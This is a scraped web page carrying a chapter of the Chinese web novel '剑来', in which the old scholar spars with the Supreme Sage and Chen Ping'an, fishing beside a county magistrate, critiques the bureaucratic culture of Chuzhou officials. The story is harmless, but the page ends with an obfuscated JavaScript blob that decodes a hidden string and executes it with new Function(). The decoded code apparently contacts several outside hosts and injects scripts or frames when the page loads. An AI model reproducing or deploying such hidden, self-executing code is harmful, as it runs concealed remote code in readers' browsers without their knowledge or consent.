第九百八十一章 后生可畏(2 / 2)

剑来 烽火戏诸侯 7868 字 2023-03-06

老秀才这么闹,说到底,还是心里边有气,不讲道理地护犊子呗,先前九嶷山没让陈平安登山,学生前脚吃瘪,先生后脚这就来找茬了。

老秀才疑惑道:“什么真相?”

“少跟我明知故问。”

老秀才怒道:“你要是非要这么说,我可就不乐意听了,容我跟你你好好掰扯掰扯。”

“是至圣先师的意思,你别跟我装傻。”

“那你把至圣先师喊过来啊,我与老头子面对面对质,勘验真假!”

苍梧满脸苦笑,有你这么耍无赖的吗?

结果有人按住老秀才的肩头,“怎么个对质,说说看。”

老秀才转头望去,哦,是至圣先师啊。

肩头一歪,脚尖一拧,老秀才就已经转身,站在至圣先师身旁,腋下还夹着两盆菖蒲,一本正经话说八道:“苍梧神君要送我三盆菖蒲,我说不用,苍梧神通就不乐意了,拦住路不让我走……”

宁远与至圣先师作揖行礼。

至圣先师笑着点头致意,率先挪步,老秀才立即屁颠屁颠跟上。

宁远犹豫了一下,老秀才转头,朝他使眼色,别杵在那儿,跟上。

至圣先师说道:“有无打算?”

老秀才满脸尴尬道:“还是算了吧。”

至圣先师笑呵呵道:“你倒是有自知之明。”

没有推荐陈平安去参加三教辩论。

老秀才说道:“毕竟还年轻,他如今又忙,咱们文庙这边,别总是烦人家。”

一边说,一边将两盆菖蒲交给苍梧神君,说是先帮忙拿着。

老秀才卷起两只袖管,摆出一副干架的架势,“实在不行,如果一定要赢,就让我来嘛。”

苍梧满脸疑惑,三教辩论一事,是有规矩的,已证道果的,儒家陪祀圣贤,道教天仙,佛门常驻罗汉,是不可以参加辩论的。

结果只听老秀才说道:“反正撤掉神位,也不是头一回了,等我吵赢了,再搬回去。”

宁远深呼吸一口气。

至圣先师都懒得搭话。

老秀才叹了口气,“在五彩天下那边,我跟那个小和尚聊过两次,确实佛法高深,我觉得浩然天下年轻一辈读书人,没谁吵得过他。”

至圣先师说道:“如果李希圣会参加辩论呢。”

老秀才摸着下巴,给出一句公道话,“比起我参加辩论的那种稳操胜券,略逊一筹。”

至圣先师微笑道:“你陪我走趟韶州。”

老秀才突然一把拽住至圣先师的胳膊,“不急不急,晚点去。”

至圣先师拍了拍老秀才的手背,示意撒手。

不顶事,根本不管用。

至圣先师抬起手就要一巴掌拍下去。

老秀才依旧没有放手,反而加重力道。

古乐有《韶》,子曰尽美矣,又尽善也。

至圣先师没好气道:“姓荀的,不要逼我骂人。”

老秀才松开手,满脸伤感,喃喃道:“天下读书人,我们读书人,从来不需要一尊高高在上的泥塑雕像,需要有人冷眼热肝肠,看着我们读书人的所有犯错和改错!”

至圣先师微笑道:“后生可畏,焉知来者不如今也。”

老秀才揉着下巴,点头小声道:“过奖了,怪难为情的,可不能让礼圣和亚圣听了去。”

然后苍梧神君就听到至圣先师说出一句……三字经。

————

这好像还是陈平安第一次踏足处州的这座州城。

处州,宝溪郡和屏南县,州府县治所同城,其中宝溪郡府衙,榜额黑底金字。

一看就是天水赵氏家主的手笔,楷书,略带几分古碑神韵。

初看法度森严,一丝不苟,若是细看,规矩之中又有自由。

陈平安是要来见一个认识没多久的朋友,宝溪郡新任郡守荆宽,前京城吏部清吏司郎中。

朋友的朋友未必能够成为朋友,但能够与荆宽这样的真正读书人成为朋友,陈平安觉得很荣幸。

如今新处州的官场,大小衙署,不设门禁,至于这个传统由何而来,有两个说法,一种是源于袁正定的龙泉郡太守衙门,也有说最早是从曹耕心在任上的那座窑务督造署开始,按照那位酒鬼督造的说法,小镇老百姓只要别来督造署晒谷子,晒得官吏们没路走,就随便逛,可如果带了酒,那也是可以商量的!曾经有稚童的断线纸鸢坠入衙署,还是曹督造亲自送去家中,不过也有人说了,是因为那个穿开裆裤的小娃儿,有个姐姐,长得很水灵,曹督造是醉翁之意不在酒呢。

像曹督造这样当官的,好像没有留下太多值得在县志上大书特书的清明政绩,但是可能对小镇百姓来说,对大骊官员的印象,就多了一种,而且印象是好的。总之在那之后,上行下效,从槐黄县衙,久而久之,就成了整个旧龙州约定成俗的官场规矩,上任刺史魏礼对此也没有异议。

只是可以随便进衙门,自然不代表可以随便在衙署公房走门串户。

得知是落魄山的陈山主登门造访,立即有人通报荆大人。

簿书堆案使人忙,身穿公服的荆宽,揉了揉眼睛,放下手中一份关于辖境内河渠沟防的公文,快步走出衙署公房,见着了陈平安,这位郡守大人只是抱拳而已,也没句客套话,不过脸上的笑意,不算少。

陈平安抬起双手,玩笑道:“两手空空就拜山头来了,回头荆大人去落魄山喝酒,我先自罚三杯。”

荆宽连忙摆手道:“去落魄山坐一坐毫无问题,喝茶就很好,陈先生现在就别跟我提喝酒了,上次在菖蒲河,够呛,喝得我现在闻到酒味就头疼。”

陈平安说道:“我就是来这边逛逛,不会耽误荆兄公务吧?”

荆宽说道:“要说客套话,作为一郡主官,今儿就是整天陪着陈先生闲逛,都是公务所在。可要说实诚点,衙署待客不周,忙里偷闲两刻钟,倒也不成问题。”

陈平安笑道:“那就带我随便逛逛衙署?两刻钟足够了。”

荆宽小有意外,不过这没什么,不算破例,说实话,陈先生不管有多少个身份,底色还是儒家门生。

虽然双方其实只见过两次面,喝过一顿酒,荆宽对自己的这个感觉,十分笃定。

之后荆宽就带着陈平安逛过一座府衙的诸多公房,一路上,陈平安也会询问诸多提调学校、祀典驿递等诸多细节,也亏得荆宽是个极为勤政、并且喜欢且擅长追究琐碎细节的官员,否则还真未必能够当场答得上来那些可谓刁钻的问题。一问一答,两刻钟光阴很快就过去,陈平安也逛遍了一座衙署,就此告辞离去,只说邀请荆兄得闲时去落魄山喝个小酒,他来亲自下厨,桌上不劝酒。再就是问起如今作为宝溪郡首县的屏南县,新任县令是不是叫傅瑚,来自京城兵部车驾司辖下的驿邮捷报处。荆宽点头说是,还说此人是上任宝溪郡主官傅玉的弟弟,因为府县治所同城,荆宽经常跟这个下属碰头,不过暂时看不出这位首县主官的为政优劣。

陈平安就此离开衙署,上任宝溪郡太守傅玉,是京城世家子,他最早是跟着吴鸢一起来的小镇,属于最早进入骊珠洞天地界的大骊官吏,去年入京述职,升迁为詹事院少詹事,职掌左春坊,一等一的官身清贵。

可惜傅玉不是科场进士出身,翰林院,也未曾像刘洵美这种将种子弟投身沙场,缺少这两种履历,对于傅玉未来的升迁之路,是一个不大不小的阻碍。

屏南县内有条河蜿蜒过境,河上有舟子撑船捕鱼,山中竹笋抽时,春涨一篙添水面。

今天傅瑚刚刚处理完一桩公务,不着急返回县衙那边,就让几个佐官胥吏先行打道回府,独自坐在河边开始垂钓,都是出门就备好了的。

兄长傅玉,刚好比傅瑚年长一轮。长兄为父,再加上傅玉仕途顺遂,平步青云,所以傅瑚很怕这个平日里总是不苟言笑的兄长。

毕竟捷报处的一把手,也才正七品,又是个无实权的小衙门,跟那遍地都是郎中的南薰坊相比,一个天一个地。

傅瑚一手持竿,另外手里攥着个羊脂玉的手把件,手心轻轻摩挲。

这次出京为官,离开那条本以为会在多待几年的帽带胡同,属于平调,不过处州本就是大骊上州,而屏南县又属于大骊王朝的上县,成为这个县的父母官,当然属于重用了。傅瑚与那位槐黄县的县令,即便到了刺史府邸,与几位太守说话,嗓门都是可以大一点的。先前等到公文传达到捷报处,在那边悠哉悠哉混日子的傅瑚一头雾水,起先误以为是父亲、或是兄长傅玉,暗中加了一把劲,帮忙运作,才得了这么个地方的实缺。

结果吃完一顿年夜饭 ,与傅玉一起熬夜守岁的时候,傅瑚鼓起勇气主动问起此事,兄长却摇头说不是他和家族的作为,直言自己只是詹事院少詹事,还没有这本事,能够靠着几句话,就决定一个大骊上县主官的人选。最后傅瑚就稀里糊涂的,来这处州屏南县走马上任了,辖境内多山多竹林。

傅瑚眼角余光瞥见一个头别玉簪的青衫男子,提着鱼竿,腰系一只鱼篓,缓缓而来,对方挑了个相邻钓点,有借窝的嫌疑,一看就是行家里手,傅瑚也不计较这些,天下钓客是一家,只要这家伙别眼红自己的鱼获,回头往水里砸石头就行。看来对方就是个半桶水,抛竿散饵了半天,也没条鱼上钩,主要是几次提竿都有点着急了,不跑鱼才怪,那人便放下鱼竿,挪步来傅瑚这边蹲着,伸长脖子看了眼鱼篓,再与傅瑚对视一眼,双方都懂,瞬间心领神会,各自点头一下,都不用废话半句,就算达成共识了,回头傅瑚会从鱼篓拿出几尾鱼,送给这个萍水相逢却钓技不精的同行。

如此一来,回家可以少挨顿骂。毕竟只要不空手而归,还能怪鱼情不好,与钓技关系不大。

那人开始没话找话,“这位兄弟,鱼线打结很有讲究啊,以前没见过,一开始就是奔着三五十斤重的大青鱼来的?”

傅瑚笑道:“想学?”

那人点头道:“只要兄弟愿意教,我就学。”

傅瑚便干脆收竿,与此人详细讲解绳结的诀窍,那人小鸡啄米,嗯嗯嗯,看样子是学到了。

傅瑚之后再次抛竿入水,发现这家伙也没有想回去继续钓鱼的意思,忍不住笑问道:“老哥,放心,等会儿我收竿,肯定让你随便挑两尾大点的鱼,你总这么盯着我算哪门子事,怕我提溜起鱼篓就跑路啊?不至于。”

蹲在一旁的男人却笑道:“钓鱼有三种境界,喜欢钓鱼,钓不着鱼。每次钓鱼,总能满载而归。钓鱼只是钓鱼,不求鱼获。再往上,还有一层境界,可遇不可求,得看钓鱼人的天资了。”

傅瑚笑道:“哦?还有一层更高境界?怎么讲,老哥你说说看。”

那人一本正经道:“比起钓鱼,更喜欢看人钓鱼。”

傅瑚竖起拇指,哈哈笑道:“拐弯抹角,原来是自夸,老哥可以。”

京城子弟,有那盛气凌人的,也有傅瑚这般和和气气的,用傅瑚的话说,就是靠着祖辈混口饭吃而已,成天只会拿寻常老百姓找乐子,跌份儿。

那人问道:“听兄弟的口音,不像是我们当地人。”

傅瑚点头道:“京城那边来的,做点小本买卖,混吃等死。老哥你呢,哪儿的人?”

“槐黄县那边的,来这边走亲戚。”

“槐黄县?离着咱们屏南县,可不算太近。”

“不算什么,以前当过窑工,经常上山砍柴烧炭,走这几步路,都不带喘气的。”

傅瑚笑道:“老哥聊天是要比钓鱼强些。”

那人也是个脾气不错的,被调侃一句反而蹲那儿傻乐呵。

傅瑚就觉得这哥们,能处。

傅瑚问道:“我姓傅,龙窑师傅的傅,老哥呢?”

那人笑答道:“我姓陈,耳东陈。”

傅瑚的家世,还没好到让他能够拥有家族扈从的地步,家族供奉,自然是有的,只是哪里轮得到他傅瑚,即便是兄长傅玉,除了出远门,平时在京城里边也不会每天跟着个练气士,再说了,在这处州,他傅瑚好歹也是个七品官,怕什么。

既然如此,牛气哄哄个什么劲儿,真有资格横着走的,是曹耕心,刘洵美这种,他们走在意迟巷,篪儿街,老人都不太在他们跟前摆谱的。至于傅瑚,只要是能够消磨光阴的活计,比如钓鱼,还有鸽哨,傅瑚都喜欢,典型的不务正业,这就叫高不成低不就,胸无大志。

陈平安说道:咱们处州,可是个很容易升官的好地方,老一辈都说这里官运足,能出大官,而且口碑都不错。”

傅瑚撇撇嘴,“都说旧龙州,如今的新处州,各级官员精明能干,要我看啊,真也是真,呵。”

陈平安笑着说道:“就是?”

傅瑚摆摆手,“不聊这个,老哥你个老百姓,我一个满身铜臭的商贾,操这闲心不是吃饱了撑着嘛。”

陈平安说道:“我猜傅老弟的大致意思,是觉得处州各级官员,太会当官了?骨子里太把当官当回事了?事情也做,做得确实比别地官员更好,就只是官味重,骨子里的官威大,让人总觉得哪里不对,嗯,就像傅老弟教我的鱼线打结差不多,环环相扣。”

傅瑚转头望向这个串门走亲戚的男人,微有白发,面相看着还是年轻的,所以不好确定真实年龄,傅瑚笑了笑,随便敷衍一句,“大概不这样,也无法做到官运亨通,对吧?”

陈平安点点头,“傅老弟能够这么想,不去当个县老爷,真是可惜了。”

傅瑚犹豫了一下,说道:“陈老哥,咱俩投缘,我就与你透个底,方才诓你了,其实我是在县衙公门里边当差的,京城人氏,倒是没骗你,上个差事,是在一个叫驿邮捷报处的地儿,坐冷板凳,老哥听都没听说过吧?哈,清水衙门,名副其实的屁大地盘,谁要是放个响屁,整个衙门都听得见。最大的官帽子,也才是个七品,戏文上边说的芝麻官。”

交浅言深,在哪里不是忌讳。

陈平安微笑道:“傅老弟说话也风趣,跟钓技一般好。”

傅瑚懒洋洋道:“当个好官,不敢奢望,当个清官,摸着良心都敢说的。”

但是接下来这个姓陈的当地百姓,所说一席话,听得傅瑚头皮发麻。

只听那人神色平静,看着河面,娓娓道来,“功过分开算,上任刺史魏礼,其实是有失职之处的,不在事,而在教化。清平狱讼、籍帐驿递、缉捕盗贼、河渠道路诸多事务,魏礼作为一州主官,当然都得管好,这是他的分内事,但是一州之政,按照大骊律,亦有宣风化以教养百姓的职责,这恰恰是京察大计和地方考评无法具体量化的,可能通过一州境内多了几个科场举子、进士,勉强可以看出些端倪,只是依旧远远不够,郡守似乎是一亲民之官,实则不然,作为封疆大吏的刺史大人,就更算不上了,一年到头,见不着多少的老百姓,虽说职责所在,在督导,在引领,在统筹,在调和,只是一个朝廷的官衙运转,只是从上到下,州府县三级官员,总不能心里边,人人只在做官一事上下功夫,否则要我来看,一个越是官吏干练、运转快速的衙署,隐藏、遮掩错误的本事就越好,就越是神不知鬼不觉,在那官吏手段蛮横 的地方,老百姓受了委屈,至少谁都知道受了委屈,旁人瞧见了,心里跟明镜儿似的,但是在这处州,或者说以后的处州,可就不好说了,如车驾过路,自有人跟在车驾后边,帮忙抹平痕迹,主官不欲人知,人便不知。上边的朝廷庙堂,下边的老百姓,都不会知道,唯有官员同僚、上下级之间,早有默契,就如你我方才相视一眼,便知‘规矩’如何。所以我可以断言,如果以后的大骊朝廷,就是一个更大的处州官场,是很有问题的。在这件事上,前任刺史魏礼是留了一个看不见的烂摊子给了吴鸢。”

傅瑚怔怔无言。

让他倍感震惊的地方,不在于对方一口一个魏礼、吴鸢,随随便便直呼其名,甚至都不在于对方那些 的观点。

说实话,在京城官场,就说他当一把手的那个捷报处,私底下,说谁不是说,关起门来,骂几句六部尚书又如何,我要是谁谁谁就如何如何的空话废话大话,越是小衙门,相互信得过的同僚间,越是每天都有一箩筐。他傅瑚当年就特别喜欢跟那个闷葫芦的林正诚聊这些。

所以真正让傅瑚觉得震惊的地方,在于此人这番话,恰好说中了傅瑚的一桩心事,终于让他明白哪里不对劲了。

前不久一个刺史衙署专管文教的官员,喊上一州境内诸府县所有的县教谕,大致意思是刺史大人极为重视此事,专程腾出整个下午的时间,邀请诸位去衙署闲聊谈心,刺史大人说了,大家可以畅所欲言,多谈问题,多提意见,多说不满意的地方……这些都不算什么,最让当时也在场的傅瑚觉得别扭的地方,是那个官员,临了一句,说这等机会,在往年在别地,可都是不常见的,诸位都是读书人,应当珍惜这个机会,有幸见到了刺史大人,言语尽量简明扼要,少攀扯那些无关紧要的,刺史大人公务繁忙……

傅瑚倒是不怀疑那位从五品地方官的用心,肯定没有什么恶意,但恰恰是对方身上的那种“官味”,那种天经地义觉得官阶、等级就是一切的官场气息,让傅瑚这个在京城见惯了朝堂权贵、大官威严的世家子,都觉得极其不适应。

好不容易才回过神,傅瑚苦笑道:“娘亲唉,陈老哥,这种话可别乱说,说了也就说了,这儿就咱哥俩,你说过我听过就算,假装啥都没发生,千万千万别外传!”

你一个“老百姓”,可以不当回事,我也不管你到底是胆大心更大,还是读过几本书就喜欢扯这些有的没的。

可我傅瑚好歹是个正儿八经的县令,虽说肯定不至于因言获罪,但是被官场同僚听去了,还不得一年到头被穿小鞋?

见那人笑了笑,傅瑚就愈发心里边打鼓,莫非是个混山上的?毕竟这处州境内,山上修道的神仙确实为数不少。

傅瑚说道:“话说回来,陈老哥,就冲你这份见识和气魄,要是去当官,当个县令屈才了,得是府尊起步!”

陈平安微笑道:“傅老弟的眼光,比钓技更好啊。”

傅瑚乐得不行,不再那么心弦紧绷。

接下来见那人蹲着,双手插袖,轻声道:“傅老弟,我觉得这样不对,远远不够好,你觉得呢?”

傅瑚叹了口气,“陈老哥,还来?!那我就真得劝你一句了!”

那人主动接话道:“别咸吃萝卜淡操心?当着平头老百姓,操着朝廷一部正堂官的心思?”

傅瑚大笑不已,伸出手拍了拍那人的肩膀,“知道就好,知道就好。”

“傅老弟,可曾听说南丰先生?”

傅瑚摇摇头,打小就不爱读杂书,对付那些科场典籍就已经够累人了。

“那我跟你推荐这位老先生的几篇文章,估计你会喜欢,《越州赵公救灾记》和《宜黄县学记》,我觉得这就是天底下最好的道德文章,当然,这只是我个人见解。”

傅瑚无奈道:“好的好的,有空就去翻翻看。”

你咋个还跟我较真了呢。

接下来这个姓陈的,倒是不客气,扯起傅瑚的鱼篓,就开始“搬鱼”了。

得嘞,估计就是个在科举一道比较时运不济的穷书生,酸秀才?

亏得自己方才还觉得对方是个山上修道之人。

傅瑚忍不住打趣道:“陈老哥,魏大人如今在京城可是当了大官,新任刺史吴大人,更是厉害得很,以后有机会见着他们,敢不敢当面讲这些话啊?”

那个长褂布鞋的男人,已经走到自己位置,手持鱼竿,系好腰间鱼篓,微笑道:“也就是咱哥俩投缘,蹲着聊天也是开心事。”

“换成魏礼和吴鸢他们两个,这些个道理,我坐着说,他们得站着听。”

傅瑚闻言再次无言,朝那家伙竖起大拇指。

好家伙,看把你牛气的,你姓陈,咋个不叫陈平安呢?!

说话这一块,我傅瑚算是服气了,还是陈老哥你更高。

“欢迎傅老弟去落魄山那边做客,我家有座黄湖山,鱼更大。”

那人与傅瑚挥手作别,笑道:“对了,我叫陈平安,耳东陈,平平安安的平安。”

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();